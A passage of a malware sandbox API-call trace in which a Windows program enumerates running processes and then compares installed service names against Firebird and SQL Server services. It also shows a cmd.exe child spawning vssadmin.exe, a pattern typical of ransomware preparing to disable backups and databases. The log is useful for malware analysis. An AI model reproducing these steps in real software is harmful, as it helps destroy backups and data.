th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.841] lstrlenW (lpString="winlogon.exe") returned 12 [0134.842] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.842] lstrlenW (lpString="services.exe") returned 12 [0134.842] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.843] lstrlenW (lpString="lsass.exe") returned 9 [0134.843] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0134.844] lstrlenW (lpString="lsm.exe") returned 7 [0134.844] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.845] lstrlenW (lpString="svchost.exe") returned 11 [0134.845] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.846] lstrlenW (lpString="svchost.exe") returned 11 [0134.846] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.847] lstrlenW (lpString="svchost.exe") returned 11 [0134.847] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.849] lstrlenW (lpString="svchost.exe") returned 11 [0134.849] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.850] lstrlenW (lpString="svchost.exe") returned 11 [0134.850] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.851] lstrlenW (lpString="audiodg.exe") returned 11 [0134.851] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.852] lstrlenW (lpString="svchost.exe") returned 11 [0134.852] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.853] lstrlenW (lpString="svchost.exe") returned 11 [0134.853] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.854] lstrlenW (lpString="dwm.exe") returned 7 [0134.854] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.855] lstrlenW (lpString="explorer.exe") returned 12 [0134.855] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.856] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.856] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.857] lstrlenW (lpString="taskhost.exe") returned 12 [0134.857] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.858] lstrlenW (lpString="svchost.exe") returned 11 [0134.858] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0134.859] lstrlenW (lpString="taskeng.exe") returned 11 [0134.859] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.860] lstrlenW (lpString="taskhost.exe") returned 12 [0134.860] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0134.861] lstrlenW (lpString="fixwaves.exe") returned 12 [0134.861] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0134.862] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0134.862] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0134.863] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0134.863] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0134.864] lstrlenW (lpString="monsaver.exe") returned 12 [0134.864] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0134.865] lstrlenW (lpString="dosesugar.exe") returned 13 [0134.865] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0134.866] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0134.866] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0134.867] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0134.867] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0134.868] lstrlenW (lpString="nonprofit top.exe") returned 17 [0134.868] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0134.869] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0134.869] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0134.870] lstrlenW (lpString="accused.exe") returned 11 [0134.870] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0134.871] lstrlenW (lpString="governance.exe") returned 14 [0134.871] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0134.872] lstrlenW (lpString="old.exe") returned 7 [0134.872] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0134.873] lstrlenW (lpString="xi cg.exe") returned 9 [0134.873] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0134.874] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0134.874] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0134.875] lstrlenW (lpString="burlington.exe") returned 14 [0134.875] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0134.876] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0134.876] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0134.877] lstrlenW (lpString="buildings.exe") returned 13 [0134.877] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0134.878] lstrlenW (lpString="predictions_took.exe") returned 20 [0134.878] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0134.879] lstrlenW (lpString="carry_dns.exe") returned 13 [0134.879] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0134.880] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0134.880] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.881] lstrlenW (lpString="svchost.exe") returned 11 [0134.881] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0134.882] lstrlenW (lpString="sppsvc.exe") returned 10 [0134.882] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.884] lstrlenW (lpString="svchost.exe") returned 11 [0134.884] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0134.884] lstrlenW (lpString="msiexec.exe") returned 11 [0134.885] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0134.885] lstrlenW (lpString="cmd.exe") returned 7 [0134.885] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.886] lstrlenW (lpString="conhost.exe") returned 11 [0134.886] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0134.887] lstrlenW (lpString="vssadmin.exe") returned 12 [0134.887] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0134.888] lstrlenW (lpString="VSSVC.exe") returned 9 [0134.888] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.889] lstrlenW (lpString="svchost.exe") returned 11 [0134.889] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0134.890] CloseHandle (hObject=0x1c4) returned 1 [0134.890] Sleep (dwMilliseconds=0x1f4) [0135.541] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ea80 [0135.542] EnumServicesStatusExW (in: hSCManager=0x52ea80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0135.542] GetLastError () returned 0xea [0135.542] EnumServicesStatusExW (in: hSCManager=0x52ea80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52ee58, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52ee58, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0135.545] CloseServiceHandle (hSCObject=0x52ea80) returned 1 [0135.545] lstrlenW (lpString="Appinfo") returned 7 [0135.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0135.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0135.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0135.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0135.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0135.545] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.545] lstrlenW (lpString="AudioSrv") returned 8 [0135.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0135.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0135.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0135.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0135.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0135.545] lstrlenW (lpString="BFE") returned 3 [0135.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.546] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.546] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.546] lstrlenW (lpString="CryptSvc") returned 8 [0135.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.546] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.546] lstrlenW (lpString="CscService") returned 10 [0135.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0135.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0135.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0135.546] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0135.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0135.546] lstrlenW (lpString="DcomLaunch") returned 10 [0135.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.546] lstrlenW (lpString="Dhcp") returned 4 [0135.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.546] lstrlenW (lpString="Dnscache") returned 8 [0135.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.547] lstrlenW (lpString="DPS") returned 3 [0135.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.547] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.547] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.547] lstrlenW (lpString="eventlog") returned 8 [0135.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0135.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0135.547] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0135.547] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0135.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0135.547] lstrlenW (lpString="EventSystem") returned 11 [0135.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.547] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.547] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.547] lstrlenW (lpString="FontCache") returned 9 [0135.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0135.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0135.547] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0135.547] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0135.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0135.547] lstrlenW (lpString="gpsvc") returned 5 [0135.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.547] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.547] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.547] lstrlenW (lpString="iphlpsvc") returned 8 [0135.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.548] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0135.548] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0135.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0135.548] lstrlenW (lpString="LanmanServer") returned 12 [0135.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0135.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0135.548] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0135.548] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0135.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0135.548] 